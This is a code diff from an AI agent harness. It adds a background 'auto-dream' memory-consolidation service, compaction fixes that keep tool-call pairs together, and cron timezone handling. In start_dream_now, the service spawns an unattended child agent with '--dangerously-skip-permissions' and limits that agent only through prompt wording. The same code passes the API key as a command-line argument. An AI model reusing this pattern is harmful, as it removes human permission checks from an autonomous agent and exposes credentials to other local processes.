latest_memory_backup,
restore_memory_backup,
)
from openharness.services.autodream.lock import (
list_sessions_touched_since,
read_last_consolidated_at,
record_consolidation,
rollback_consolidation_lock,
try_acquire_consolidation_lock,
)
from openharness.services.autodream.prompt import build_consolidation_prompt
from openharness.services.autodream.service import execute_auto_dream, start_dream_now
__all__ = [
"build_consolidation_prompt",
"create_memory_backup",
"diff_memory_dirs",
"execute_auto_dream",
"format_memory_diff",
"latest_memory_backup",
"list_sessions_touched_since",
"read_last_consolidated_at",
"record_consolidation",
"restore_memory_backup",
"rollback_consolidation_lock",
"start_dream_now",
"try_acquire_consolidation_lock",
]
@@ -0,0 +1,104 @@
"""Backup, diff, and rollback helpers for auto-dream memory directories."""
from __future__ import annotations
import filecmp
import shutil
import time
from pathlib import Path
from openharness.config.paths import get_data_dir
def default_backup_root(memory_dir: str | Path, *, app_label: str = "openharness") -> Path:
"""Return the backup root for a memory directory."""
memory_dir = Path(memory_dir).expanduser().resolve()
if ".ohmo" in memory_dir.parts:
try:
idx = memory_dir.parts.index(".ohmo")
return Path(*memory_dir.parts[: idx + 1]) / "backups"
except ValueError:
pass
safe_label = "".join(ch if ch.isalnum() or ch in {"-", "_"} else "-" for ch in app_label).strip("-")
return get_data_dir() / "memory-backups" / (safe_label or "openharness")
def create_memory_backup(
memory_dir: str | Path,
*,
backup_root: str | Path | None = None,
app_label: str = "openharness",
) -> Path:
"""Create a timestamped copy of ``memory_dir`` and return the backup path."""
memory_dir = Path(memory_dir).expanduser().resolve()
root = Path(backup_root).expanduser().resolve() if backup_root is not None else default_backup_root(memory_dir, app_label=app_label)
root.mkdir(parents=True, exist_ok=True)
timestamp = time.strftime("memory-%Y%m%d-%H%M%S")
backup = root / timestamp
suffix = 1
while backup.exists():
suffix += 1
backup = root / f"{timestamp}-{suffix}"
if memory_dir.exists():
shutil.copytree(memory_dir, backup, ignore=shutil.ignore_patterns(".consolidate-lock"))
else:
backup.mkdir(parents=True)
return backup
def diff_memory_dirs(before: str | Path, after: str | Path) -> dict[str, list[str]]:
"""Return added/removed/changed file names between two memory dirs."""
before = Path(before).expanduser().resolve()
after = Path(after).expanduser().resolve()
before_files = {p.name: p for p in before.glob("*.md")} if before.exists() else {}
after_files = {p.name: p for p in after.glob("*.md")} if after.exists() else {}
added = sorted(set(after_files) - set(before_files))
removed = sorted(set(before_files) - set(after_files))
changed = sorted(
name
for name in set(before_files) & set(after_files)
if not filecmp.cmp(before_files[name], after_files[name], shallow=False)
)
return {"added": added, "removed": removed, "changed": changed}
def format_memory_diff(diff: dict[str, list[str]]) -> str:
"""Format a compact memory diff summary."""
lines: list[str] = []
for label in ("added", "changed", "removed"):
values = diff.get(label, [])
if values:
lines.append(f"{label}: " + ", ".join(values))
return "\n".join(lines) if lines else "no markdown file changes"
def latest_memory_backup(memory_dir: str | Path, *, app_label: str = "openharness") -> Path | None:
"""Return the latest backup for a memory directory, if any."""
root = default_backup_root(memory_dir, app_label=app_label)
if not root.exists():
return None
backups = [path for path in root.iterdir() if path.is_dir() and path.name.startswith("memory-")]
if not backups:
return None
return max(backups, key=lambda path: path.stat().st_mtime)
def restore_memory_backup(backup_dir: str | Path, memory_dir: str | Path) -> None:
"""Restore memory_dir from a backup directory."""
backup_dir = Path(backup_dir).expanduser().resolve()
memory_dir = Path(memory_dir).expanduser().resolve()
if not backup_dir.exists() or not backup_dir.is_dir():
raise FileNotFoundError(f"Backup not found: {backup_dir}")
tmp = memory_dir.with_name(f".{memory_dir.name}.restore-tmp")
if tmp.exists():
shutil.rmtree(tmp)
shutil.copytree(backup_dir, tmp)
if memory_dir.exists():
shutil.rmtree(memory_dir)
tmp.rename(memory_dir)
+138
View File
@@ -0,0 +1,138 @@
"""Locking and session scanning for auto-dream."""
from __future__ import annotations
import json
import os
import time
from pathlib import Path
from openharness.memory.paths import get_project_memory_dir
from openharness.services.session_storage import get_project_session_dir
from openharness.utils.fs import atomic_write_text
LOCK_FILE = ".consolidate-lock"
HOLDER_STALE_SECONDS = 60 * 60
def _lock_path(cwd: str | Path, memory_dir: str | Path | None = None) -> Path:
return Path(memory_dir) / LOCK_FILE if memory_dir is not None else get_project_memory_dir(cwd) / LOCK_FILE
def read_last_consolidated_at(cwd: str | Path, memory_dir: str | Path | None = None) -> float:
"""Return lock mtime as the last successful consolidation timestamp."""
try:
return _lock_path(cwd, memory_dir).stat().st_mtime
except OSError:
return 0.0
def _holder_pid(path: Path) -> int | None:
try:
raw = path.read_text(encoding="utf-8").strip()
pid = int(raw)
except (OSError, ValueError):
return None
return pid if pid > 0 else None
def _is_process_running(pid: int) -> bool:
if pid == os.getpid():
return True
try:
os.kill(pid, 0)
except ProcessLookupError:
return False
except PermissionError:
return True
return True
def try_acquire_consolidation_lock(cwd: str | Path, memory_dir: str | Path | None = None) -> float | None:
"""Acquire the consolidation lock and return prior mtime, or None if held."""
path = _lock_path(cwd, memory_dir)
prior_mtime: float | None = None
try:
stat = path.stat()
prior_mtime = stat.st_mtime
holder = _holder_pid(path)
except OSError:
holder = None
if prior_mtime is not None and time.time() - prior_mtime < HOLDER_STALE_SECONDS:
if holder is not None and _is_process_running(holder):
return None
path.parent.mkdir(parents=True, exist_ok=True)
atomic_write_text(path, f"{os.getpid()}\n")
try:
if _holder_pid(path) != os.getpid():
return None
except OSError:
return None
return prior_mtime or 0.0
def rollback_consolidation_lock(
cwd: str | Path,
prior_mtime: float,
memory_dir: str | Path | None = None,
) -> None:
"""Restore lock mtime to its pre-acquire value after failed/killed dream."""
path = _lock_path(cwd, memory_dir)
try:
if prior_mtime <= 0:
path.unlink(missing_ok=True)
return
atomic_write_text(path, "")
os.utime(path, (prior_mtime, prior_mtime))
except OSError:
# Best effort: a failed rollback only delays the next auto trigger.
return
def record_consolidation(cwd: str | Path, memory_dir: str | Path | None = None) -> None:
"""Stamp a manual consolidation time."""
path = _lock_path(cwd, memory_dir)
path.parent.mkdir(parents=True, exist_ok=True)
atomic_write_text(path, f"{os.getpid()}\n")
def list_sessions_touched_since(
cwd: str | Path,
since_ts: float,
*,
current_session_id: str | None = None,
session_dir: str | Path | None = None,
) -> list[str]:
"""Return saved session IDs whose snapshot files were touched after ``since_ts``."""
resolved_session_dir = Path(session_dir) if session_dir is not None else get_project_session_dir(cwd)
session_ids: list[str] = []
seen: set[str] = set()
for path in sorted(resolved_session_dir.glob("session-*.json"), key=lambda item: item.stat().st_mtime, reverse=True):
try:
mtime = path.stat().st_mtime
except OSError:
continue
if mtime <= since_ts:
continue
session_id = path.stem.removeprefix("session-")
try:
payload = json.loads(path.read_text(encoding="utf-8"))
raw_id = payload.get("session_id")
if isinstance(raw_id, str) and raw_id.strip():
session_id = raw_id.strip()
except (OSError, json.JSONDecodeError):
pass
if current_session_id and session_id == current_session_id:
continue
if session_id in seen:
continue
seen.add(session_id)
session_ids.append(session_id)
return session_ids
@@ -0,0 +1,128 @@
"""Prompt builder for memory consolidation dreams."""
from __future__ import annotations
from datetime import date
from pathlib import Path
MAX_ENTRYPOINT_LINES = 200
ENTRYPOINT_NAME = "MEMORY.md"
def build_consolidation_prompt(
memory_root: str | Path,
session_dir: str | Path,
extra: str = "",
*,
preview: bool = False,
) -> str:
"""Build the dream prompt used by manual and automatic memory consolidation."""
memory_root = Path(memory_root)
session_dir = Path(session_dir)
extra_section = f"\n\n## Additional context\n\n{extra.strip()}" if extra.strip() else ""
write_mode = "PREVIEW MODE: do not write files; propose a concise patch plan only." if preview else "APPLY MODE: update memory files directly when changes are clearly warranted."
return f"""# Dream: Memory Consolidation
You are performing a dream a reflective pass over OpenHarness/ohmo memory files. Synthesize recent signal into durable, well-organized memories so future sessions can orient quickly.
Current date: {date.today().isoformat()}
Memory directory: `{memory_root}`
Session snapshots: `{session_dir}` (JSON files can be large; inspect narrowly, do not dump everything)
Mode: {write_mode}
---
## Non-negotiable memory policy
### Evidence discipline
- Do not infer user mistakes, motives, personality traits, or habits from incidental logs/config.
- Only record facts directly supported by user statements, repeated behavior, or explicit artifacts.
- Prefer neutral safety policies over accusations.
- If a secret appears in context, do not copy it. Record only a generic safety reminder if useful.
- Never preserve API keys, tokens, app secrets, verification tokens, credential-bearing URLs, or bearer strings.
### Classify every fact before writing
Use these categories:
1. **Stable Preference** user-stated or repeatedly demonstrated durable preference.
2. **Durable Project Context** repo paths, canonical repos, project boundaries, validation commands.
3. **Recent Snapshot** active branches, current commits, temporary worktrees, recent test counts. Must include `Last observed: YYYY-MM-DD` and a reminder to verify current state.
4. **Sensitive/Private Context** revenue, personal identity, private repos, business metrics. Must include `Privacy: personal/private; do not share externally or in group chats unless explicitly asked.`
5. **Operational Reminder** short safety or workflow reminders.
### Staleness and scope
- Short-lived facts must be marked as snapshots, not permanent truths.
- Prefer updating existing files over creating new ones.
- Create at most 2 new markdown files in one dream.
- If a topic is transient, prefer `recent_work.md` or an existing status file over a new topic file.
- Do not move personal/business context into project memory; keep sensitive personal context in personal memory only.
- Every top-level memory file must include schema-v1 frontmatter with:
`schema_version`, `id`, `name`, `description`, `type`, `category`, `importance`, `source`,
`signature`, `created_at`, `updated_at`, `ttl_days`, `disabled`, and `supersedes`.
---
## Phase 1 — Orient
- List the memory directory to see what already exists.
- Read `{ENTRYPOINT_NAME}` if present; it is the memory index.
- Skim existing topic files so you update or merge instead of creating duplicates.
## Phase 2 — Gather recent signal
Look for information worth persisting. Sources in rough priority order:
1. Existing memory files that may need updates or contradiction fixes.
2. Recent session snapshots (`session-*.json`) when you need concrete context.
3. Focused grep/search terms based on recent work; avoid exhaustive transcript reading.
Skip idle chats, failed retry noise, implementation details that only matter for the current turn, and facts that cannot be supported.
## Phase 3 — Consolidate
For each durable thing worth remembering, write or update concise top-level markdown files in the memory directory.
Focus on:
- Merging new signal into existing topic files rather than creating near-duplicates.
- Converting relative dates ("yesterday", "last week") to absolute dates.
- Correcting or deleting contradicted facts at the source.
- Keeping memories useful for future sessions, not as raw transcripts.
- Adding `Last observed` for snapshots and `Privacy` for sensitive/private context.
## Phase 4 — Prune and index
Update `{ENTRYPOINT_NAME}` so it stays under {MAX_ENTRYPOINT_LINES} lines and remains an index, not a content dump.
- Each entry should be one concise line: `- [Title](file.md): one-line hook`.
- Remove pointers to memories that are stale, wrong, or superseded.
- For stale, wrong, or superseded memory files, set `disabled: true`; do not delete files.
- Treat usage-based stale candidates as review candidates, not automatic deletion instructions.
- Add pointers to newly important memories.
- Resolve contradictions if multiple files disagree.
## Required final response
Return a structured summary:
```md
## Dream Summary
Changed:
- file.md: what changed
Confidence:
- High: directly supported facts
- Medium: recent snapshots that should be verified before use
- Low: uncertain/stale candidates not written as facts
Privacy:
- Any private/sensitive context touched and how it is marked
Stale candidates:
- Items that may need review later
```
If nothing changed, say so and explain why.{extra_section}"""
@@ -0,0 +1,313 @@
"""Auto-dream service."""
from __future__ import annotations
import asyncio
import os
import sys
import time
from pathlib import Path
from openharness.config.settings import Settings
from openharness.memory.paths import get_project_memory_dir
from openharness.memory.usage import find_stale_memory_candidates
from openharness.services.autodream.backup import create_memory_backup, diff_memory_dirs
from openharness.services.autodream.lock import (
list_sessions_touched_since,
read_last_consolidated_at,
rollback_consolidation_lock,
try_acquire_consolidation_lock,
)
from openharness.services.autodream.prompt import build_consolidation_prompt
from openharness.services.session_storage import get_project_session_dir
from openharness.tasks.manager import get_task_manager
from openharness.tasks.types import TaskRecord
SESSION_SCAN_INTERVAL_SECONDS = 10 * 60
_CHILD_ENV = "OPENHARNESS_AUTODREAM_CHILD"
_last_session_scan_at: dict[str, float] = {}
_listener_registered = False
def _enabled(settings: Settings) -> bool:
return bool(settings.memory.enabled and settings.memory.auto_dream_enabled)
def _has_dream_signal(session_ids: list[str], *, force: bool) -> bool:
"""Return whether recent sessions are worth consolidating."""
if force:
return True
return bool(session_ids)
def _memory_files_mtime_snapshot(memory_dir: Path) -> dict[str, float]:
snapshot: dict[str, float] = {}
for path in memory_dir.glob("*.md"):
try:
snapshot[path.name] = path.stat().st_mtime
except OSError:
continue
return snapshot
def _files_changed_since(memory_dir: Path, before: dict[str, float]) -> list[str]:
changed: list[str] = []
for path in sorted(memory_dir.glob("*.md")):
try:
mtime = path.stat().st_mtime
except OSError:
continue
if before.get(path.name) != mtime:
changed.append(path.name)
return changed
def _ensure_listener_registered() -> None:
global _listener_registered
if _listener_registered:
return
async def _listener(task: TaskRecord) -> None:
if task.type != "dream":
return
prior_raw = task.metadata.get("prior_mtime", "")
memory_dir = task.metadata.get("memory_dir") or None
if not prior_raw:
return
try:
prior_mtime = float(prior_raw)
except ValueError:
return
if task.status in {"failed", "killed"} or task.metadata.get("preview") == "true":
rollback_consolidation_lock(task.cwd, prior_mtime, memory_dir=memory_dir)
get_task_manager().register_completion_listener(_listener)
_listener_registered = True
def _resolve_memory_dir(cwd: str | Path, memory_dir: str | Path | None) -> Path:
return Path(memory_dir).expanduser().resolve() if memory_dir is not None else get_project_memory_dir(cwd)
def _resolve_session_dir(cwd: str | Path, session_dir: str | Path | None) -> Path:
return Path(session_dir).expanduser().resolve() if session_dir is not None else get_project_session_dir(cwd)
async def start_dream_now(
*,
cwd: str | Path,
settings: Settings,
model: str | None = None,
current_session_id: str | None = None,
force: bool = False,
memory_dir: str | Path | None = None,
session_dir: str | Path | None = None,
app_label: str = "openharness",
runner_module: str = "openharness",
preview: bool = False,
) -> TaskRecord | None:
"""Start a dream task immediately, optionally bypassing time/session gates."""
if os.environ.get(_CHILD_ENV):
return None
if not settings.memory.enabled:
return None
cwd = Path(cwd).resolve()
resolved_memory_dir = _resolve_memory_dir(cwd, memory_dir)
resolved_session_dir = _resolve_session_dir(cwd, session_dir)
last_at = read_last_consolidated_at(cwd, memory_dir=resolved_memory_dir)
session_ids = list_sessions_touched_since(
cwd,
last_at,
current_session_id=current_session_id,
session_dir=resolved_session_dir,
)
if not force:
hours_since = (time.time() - last_at) / 3600
if hours_since < settings.memory.auto_dream_min_hours:
return None
if len(session_ids) < settings.memory.auto_dream_min_sessions:
return None
if not _has_dream_signal(session_ids, force=force):
return None
prior_mtime = try_acquire_consolidation_lock(cwd, memory_dir=resolved_memory_dir)
if prior_mtime is None:
return None
_ensure_listener_registered()
resolved_memory_dir.mkdir(parents=True, exist_ok=True)
resolved_session_dir.mkdir(parents=True, exist_ok=True)
before = _memory_files_mtime_snapshot(resolved_memory_dir)
backup_dir = create_memory_backup(resolved_memory_dir, app_label=app_label) if not preview else None
stale_candidates = find_stale_memory_candidates(cwd, memory_dir=resolved_memory_dir)
stale_section = "\n".join(
f"- {header.id or header.path.name}: {header.path.name} "
f"(importance={header.importance}, updated_at={header.updated_at or 'unknown'})"
for header in stale_candidates[:20]
) or "- (none)"
extra = (
f"Application context: `{app_label}`.\n"
"Tool constraints for this run: only modify files under the memory directory. "
"Use shell commands only for read-only inspection.\n\n"
f"Sessions since last consolidation ({len(session_ids)}):\n"
+ "\n".join(f"- {session_id}" for session_id in session_ids)
+ "\n\nUsage-based stale candidates:\n"
+ stale_section
)
prompt = build_consolidation_prompt(resolved_memory_dir, resolved_session_dir, extra, preview=preview)
src_root = Path(__file__).resolve().parents[3]
existing_pythonpath = os.environ.get("PYTHONPATH", "")
env = {
_CHILD_ENV: "1",
"OPENHARNESS_AUTODREAM_MEMORY_DIR": str(resolved_memory_dir),
"OPENHARNESS_CONFIG_DIR": str(Path.home() / ".openharness"),
"OPENHARNESS_PROFILE": settings.active_profile,
"PYTHONPATH": str(src_root) + ((os.pathsep + existing_pythonpath) if existing_pythonpath else ""),
}
try:
argv = [
sys.executable,
"-m",
runner_module,
]
if runner_module == "openharness":
argv.append("--dangerously-skip-permissions")
if runner_module == "ohmo":
workspace = resolved_memory_dir.parent
argv.extend(["--workspace", str(workspace)])
if settings.active_profile:
argv.extend(["--profile", settings.active_profile])
if model:
argv.extend(["--model", model])
if runner_module == "openharness" and settings.provider != "anthropic_claude":
if settings.base_url:
argv.extend(["--base-url", settings.base_url])
if settings.api_format:
argv.extend(["--api-format", settings.api_format])
try:
auth = settings.resolve_auth()
if runner_module == "openharness" and auth.auth_kind == "api_key":
argv.extend(["--api-key", auth.value])
elif runner_module == "ohmo" and auth.auth_kind == "api_key":
env["OPENHARNESS_API_KEY"] = auth.value
elif auth.value:
env["ANTHROPIC_AUTH_TOKEN"] = auth.value
env.pop("ANTHROPIC_API_KEY", None)
env.pop("OPENAI_API_KEY", None)
env.pop("OPENHARNESS_API_KEY", None)
except Exception:
pass
argv.extend(["--print", prompt])
task = await get_task_manager().create_shell_task(
description="dreaming",
cwd=cwd,
task_type="dream",
env=env,
argv=argv,
)
task.prompt = prompt
except Exception:
rollback_consolidation_lock(cwd, prior_mtime, memory_dir=resolved_memory_dir)
raise
task.metadata.update(
{
"phase": "starting",
"sessions_reviewing": str(len(session_ids)),
"prior_mtime": str(prior_mtime),
"memory_dir": str(resolved_memory_dir),
"session_dir": str(resolved_session_dir),
"force": str(force).lower(),
"app_label": app_label,
"runner_module": runner_module,
"preview": str(preview).lower(),
"backup_dir": str(backup_dir or ""),
}
)
async def _mark_changed_on_completion(done: TaskRecord) -> None:
if done.id != task.id or done.status != "completed":
return
changed = _files_changed_since(resolved_memory_dir, before)
if backup_dir is not None:
diff = diff_memory_dirs(backup_dir, resolved_memory_dir)
done.metadata["files_added"] = "\n".join(diff["added"])
done.metadata["files_changed"] = "\n".join(diff["changed"])
done.metadata["files_removed"] = "\n".join(diff["removed"])
if changed:
done.metadata["phase"] = "updating"
done.metadata["files_touched"] = "\n".join(changed)
get_task_manager().register_completion_listener(_mark_changed_on_completion)
return task
async def execute_auto_dream(
*,
cwd: str | Path,
settings: Settings,
model: str | None = None,
current_session_id: str | None = None,
memory_dir: str | Path | None = None,
session_dir: str | Path | None = None,
app_label: str = "openharness",
runner_module: str = "openharness",
preview: bool = False,
) -> TaskRecord | None:
"""Run the cheap auto-dream gates and start a background dream when eligible."""
if os.environ.get(_CHILD_ENV):
return None
if not _enabled(settings):
return None
cwd = Path(cwd).resolve()
resolved_memory_dir = _resolve_memory_dir(cwd, memory_dir)
resolved_session_dir = _resolve_session_dir(cwd, session_dir)
last_at = read_last_consolidated_at(cwd, memory_dir=resolved_memory_dir)
hours_since = (time.time() - last_at) / 3600
if hours_since < settings.memory.auto_dream_min_hours:
return None
key = str(resolved_memory_dir)
now = time.time()
if now - _last_session_scan_at.get(key, 0) < SESSION_SCAN_INTERVAL_SECONDS:
return None
_last_session_scan_at[key] = now
session_ids = list_sessions_touched_since(
cwd,
last_at,
current_session_id=current_session_id,
session_dir=resolved_session_dir,
)
if len(session_ids) < settings.memory.auto_dream_min_sessions:
return None
if not _has_dream_signal(session_ids, force=False):
return None
return await start_dream_now(
cwd=cwd,
settings=settings,
model=model,
current_session_id=current_session_id,
force=False,
memory_dir=resolved_memory_dir,
session_dir=resolved_session_dir,
app_label=app_label,
runner_module=runner_module,
preview=preview,
)
def schedule_auto_dream(**kwargs: object) -> None:
"""Fire-and-forget auto-dream scheduling."""
try:
loop = asyncio.get_running_loop()
except RuntimeError:
return
loop.create_task(execute_auto_dream(**kwargs)) # type: ignore[arg-type]
+163 -18
View File
@@ -11,6 +11,7 @@ from __future__ import annotations
import asyncio
import inspect
import logging
import os
import re
from dataclasses import dataclass, field
from pathlib import Path
@@ -24,9 +25,11 @@ from openharness.engine.messages import (
TextBlock,
ToolResultBlock,
ToolUseBlock,
sanitize_conversation_messages,
)
from openharness.engine.stream_events import CompactProgressEvent
from openharness.hooks import HookEvent, HookExecutor
from openharness.services.tool_outputs import is_microcompactable_tool_result
from openharness.services.token_estimation import estimate_tokens
log = logging.getLogger(__name__)
@@ -70,6 +73,7 @@ DEFAULT_GAP_THRESHOLD_MINUTES = 60
# Token estimation padding (conservative)
TOKEN_ESTIMATION_PADDING = 4 / 3
_DEFAULT_VISION_IMAGE_TOKEN_ESTIMATE = 3_072
# Default context windows per model family
_DEFAULT_CONTEXT_WINDOW = 200_000
@@ -112,6 +116,7 @@ class CompactionResult:
def estimate_message_tokens(messages: list[ConversationMessage]) -> int:
"""Estimate total tokens for a conversation, including the 4/3 padding."""
total = 0
image_token_estimate = _vision_token_budget_per_image()
for msg in messages:
for block in msg.content:
if isinstance(block, TextBlock):
@@ -121,6 +126,8 @@ def estimate_message_tokens(messages: list[ConversationMessage]) -> int:
elif isinstance(block, ToolUseBlock):
total += estimate_tokens(block.name)
total += estimate_tokens(str(block.input))
elif isinstance(block, ImageBlock):
total += image_token_estimate
return int(total * TOKEN_ESTIMATION_PADDING)
@@ -129,6 +136,42 @@ def estimate_conversation_tokens(messages: list[ConversationMessage]) -> int:
return estimate_message_tokens(messages)
def _vision_token_budget_per_image() -> int:
raw = os.environ.get("OPENHARNESS_IMAGE_TOKEN_ESTIMATE", "").strip()
if raw:
try:
return max(64, int(raw))
except ValueError:
log.warning("Ignoring invalid OPENHARNESS_IMAGE_TOKEN_ESTIMATE=%r", raw)
return _DEFAULT_VISION_IMAGE_TOKEN_ESTIMATE
def _replace_images_with_compaction_placeholders(
messages: list[ConversationMessage],
) -> list[ConversationMessage]:
"""Strip image payloads from summarizer-only compact requests."""
replaced: list[ConversationMessage] = []
for message in messages:
next_content: list[ContentBlock] = []
changed = False
for block in message.content:
if isinstance(block, ImageBlock):
changed = True
label = block.source_path.strip() or "inline"
next_content.append(
TextBlock(
text=f"[Image omitted from compaction summarization; source: {label}.]\n"
)
)
else:
next_content.append(block)
if changed:
replaced.append(message.model_copy(update={"content": next_content}))
else:
replaced.append(message)
return replaced
def _sanitize_metadata(value: Any) -> Any:
if isinstance(value, (str, int, float, bool)) or value is None:
return value
@@ -209,11 +252,20 @@ def _is_prompt_too_long_error(exc: Exception) -> bool:
needle in text
for needle in (
"prompt too long",
"context_length_exceeded",
"context length",
"maximum context",
"context window",
"input tokens exceed",
"messages resulted in",
"reduce the length of the messages",
"configured limit",
"too many tokens",
"too large for the model",
"maximum context length",
"exceed_context",
"exceeds the available context size",
"available context size",
)
)
@@ -256,8 +308,7 @@ def try_context_collapse(
if len(messages) <= preserve_recent + 2:
return None
older = messages[:-preserve_recent]
newer = messages[-preserve_recent:]
older, newer = _split_preserving_tool_pairs(messages, preserve_recent=preserve_recent)
changed = False
collapsed_older: list[ConversationMessage] = []
for message in older:
@@ -268,6 +319,17 @@ def try_context_collapse(
if collapsed != block.text:
changed = True
new_blocks.append(TextBlock(text=collapsed))
elif isinstance(block, ToolResultBlock):
collapsed = _collapse_text(block.content)
if collapsed != block.content:
changed = True
new_blocks.append(
ToolResultBlock(
tool_use_id=block.tool_use_id,
content=collapsed,
is_error=block.is_error,
)
)
else:
new_blocks.append(block)
collapsed_older.append(ConversationMessage(role=message.role, content=new_blocks))
@@ -406,6 +468,53 @@ def build_post_compact_messages(result: CompactionResult) -> list[ConversationMe
]
def _boundary_crosses_tool_pair(previous: ConversationMessage, current: ConversationMessage) -> bool:
"""Return True when a preserve boundary would split a tool_use/result pair."""
if previous.role != "assistant" or current.role != "user":
return False
pending_tool_ids = {block.id for block in previous.content if isinstance(block, ToolUseBlock)}
if not pending_tool_ids:
return False
result_ids = {block.tool_use_id for block in current.content if isinstance(block, ToolResultBlock)}
return bool(pending_tool_ids & result_ids)
def _split_preserving_tool_pairs(
messages: list[ConversationMessage],
*,
preserve_recent: int,
) -> tuple[list[ConversationMessage], list[ConversationMessage]]:
"""Split older/newer segments without cutting through a tool_use/result pair.
The preserved segment is also sanitized so trailing orphan tool_use blocks
never survive the compaction boundary.
"""
if len(messages) <= preserve_recent:
return [], sanitize_conversation_messages(list(messages))
split_index = max(0, len(messages) - preserve_recent)
while split_index > 0 and _boundary_crosses_tool_pair(messages[split_index - 1], messages[split_index]):
split_index -= 1
older = list(messages[:split_index])
newer = sanitize_conversation_messages(list(messages[split_index:]))
return older, newer
def _sanitize_compaction_segments(result: CompactionResult) -> None:
"""Normalize summary+preserved messages into a provider-safe sequence."""
if not result.summary_messages and not result.messages_to_keep:
return
combined = [*result.summary_messages, *result.messages_to_keep]
sanitized = sanitize_conversation_messages(combined)
summary_count = len(result.summary_messages)
result.summary_messages = sanitized[:summary_count]
result.messages_to_keep = sanitized[summary_count:]
def _create_recent_attachments_attachment_if_needed(
attachment_paths: list[str],
) -> CompactAttachment | None:
@@ -625,6 +734,7 @@ def _build_compact_attachments(
def _finalize_compaction_result(result: CompactionResult) -> CompactionResult:
_sanitize_compaction_segments(result)
messages = build_post_compact_messages(result)
result.compact_metadata.setdefault("post_compact_message_count", len(messages))
result.compact_metadata.setdefault("post_compact_token_count", estimate_message_tokens(messages))
@@ -674,14 +784,25 @@ def _build_passthrough_compaction_result(
def _collect_compactable_tool_ids(messages: list[ConversationMessage]) -> list[str]:
"""Walk messages and collect tool_use IDs whose results are compactable."""
ids: list[str] = []
ordered_ids: list[str] = []
tool_names: dict[str, str] = {}
result_content: dict[str, str] = {}
for msg in messages:
if msg.role != "assistant":
continue
for block in msg.content:
if isinstance(block, ToolUseBlock) and block.name in COMPACTABLE_TOOLS:
ids.append(block.id)
return ids
if isinstance(block, ToolUseBlock):
ordered_ids.append(block.id)
tool_names[block.id] = block.name
elif isinstance(block, ToolResultBlock):
result_content[block.tool_use_id] = block.content
return [
tool_id
for tool_id in ordered_ids
if tool_names.get(tool_id, "") in COMPACTABLE_TOOLS
or is_microcompactable_tool_result(
tool_names.get(tool_id, ""),
result_content.get(tool_id, ""),
)
]
def microcompact_messages(
@@ -769,6 +890,28 @@ def _build_session_memory_message(messages: list[ConversationMessage]) -> Conver
)
def _build_file_session_memory_message(metadata: dict[str, Any] | None) -> ConversationMessage | None:
"""Build a compaction message from the persisted session-memory file."""
if not metadata:
return None
path = metadata.get("session_memory_path")
if not path:
return None
try:
from openharness.services.session_memory import (
get_session_memory_content,
session_memory_to_compact_text,
)
text = session_memory_to_compact_text(get_session_memory_content(str(path)))
except Exception:
return None
if not text.strip():
return None
return ConversationMessage.from_user_text(text)
def try_session_memory_compaction(
messages: list[ConversationMessage],
*,
@@ -779,9 +922,9 @@ def try_session_memory_compaction(
"""Cheap deterministic compaction for long chats before full LLM compaction."""
if len(messages) <= preserve_recent + 4:
return None
older = messages[:-preserve_recent]
newer = messages[-preserve_recent:]
summary_message = _build_session_memory_message(older)
older, newer = _split_preserving_tool_pairs(messages, preserve_recent=preserve_recent)
file_summary_message = _build_file_session_memory_message(metadata)
summary_message = file_summary_message or _build_session_memory_message(older)
if summary_message is None:
return None
provisional = [summary_message, *newer]
@@ -797,6 +940,7 @@ def try_session_memory_compaction(
"pre_compact_token_count": estimate_message_tokens(messages),
"preserve_recent": preserve_recent,
"used_session_memory": True,
"used_file_session_memory": file_summary_message is not None,
"pre_compact_discovered_tools": _extract_discovered_tools(older),
"attachments": _extract_attachment_paths(older),
}
@@ -1023,8 +1167,7 @@ async def compact_conversation(
log.info("Compacting conversation: %d messages, ~%d tokens", len(messages), pre_compact_tokens)
# Step 2: split into older (summarize) and newer (preserve)
older = messages[:-preserve_recent]
newer = messages[-preserve_recent:]
older, newer = _split_preserving_tool_pairs(messages, preserve_recent=preserve_recent)
# Step 3: build compact request — send older messages + compact prompt
compact_prompt = get_compact_prompt(custom_instructions)
@@ -1114,6 +1257,9 @@ async def compact_conversation(
async def _collect_summary(summary_request_messages: list[ConversationMessage]) -> str:
collected = ""
summary_request_messages = _replace_images_with_compaction_placeholders(
summary_request_messages
)
stream = api_client.stream_message(
ApiMessageRequest(
model=model,
@@ -1541,19 +1687,18 @@ def compact_messages(
) -> list[ConversationMessage]:
"""Replace older conversation history with a synthetic summary (legacy)."""
if len(messages) <= preserve_recent:
return list(messages)
older = messages[:-preserve_recent]
newer = messages[-preserve_recent:]
return sanitize_conversation_messages(list(messages))
older, newer = _split_preserving_tool_pairs(messages, preserve_recent=preserve_recent)
summary = summarize_messages(older)
if not summary:
return list(newer)
return [
return sanitize_conversation_messages([
ConversationMessage(
role="user",
content=[TextBlock(text=f"[conversation summary]\n{summary}")],
),
*newer,
]
])
__all__ = [
+24 -4
View File
@@ -4,6 +4,7 @@ from __future__ import annotations
import json
from datetime import datetime, timezone
from zoneinfo import ZoneInfo
from pathlib import Path
from typing import Any
@@ -44,9 +45,28 @@ def validate_cron_expression(expression: str) -> bool:
return croniter.is_valid(expression)
def next_run_time(expression: str, base: datetime | None = None) -> datetime:
"""Return the next run time for a cron expression."""
def validate_timezone(tz: str | None) -> bool:
"""Return True if *tz* is a valid IANA timezone or empty."""
if not tz:
return True
try:
ZoneInfo(tz)
except Exception:
return False
return True
def next_run_time(expression: str, base: datetime | None = None, tz: str | None = None) -> datetime:
"""Return the next run time for a cron expression.
The returned datetime is always UTC. If *tz* is provided, the cron expression
is interpreted in that IANA timezone.
"""
base = base or datetime.now(timezone.utc)
if tz:
local_base = base.astimezone(ZoneInfo(tz))
local_next = croniter(expression, local_base).get_next(datetime)
return local_next.astimezone(timezone.utc)
return croniter(expression, base).get_next(datetime)
@@ -61,7 +81,7 @@ def upsert_cron_job(job: dict[str, Any]) -> None:
schedule = job.get("schedule", "")
if validate_cron_expression(schedule):
job["next_run"] = next_run_time(schedule).isoformat()
job["next_run"] = next_run_time(schedule, tz=job.get("timezone") or job.get("tz")).isoformat()
with exclusive_file_lock(_cron_lock_path()):
jobs = [existing for existing in load_cron_jobs() if existing.get("name") != job.get("name")]
@@ -112,6 +132,6 @@ def mark_job_run(name: str, *, success: bool) -> None:
job["last_status"] = "success" if success else "failed"
schedule = job.get("schedule", "")
if validate_cron_expression(schedule):
job["next_run"] = next_run_time(schedule, now).isoformat()
job["next_run"] = next_run_time(schedule, now, tz=job.get("timezone") or job.get("tz")).isoformat()
save_cron_jobs(jobs)
return
+270 -33
View File
@@ -9,17 +9,22 @@ log.
from __future__ import annotations
import asyncio
import contextlib
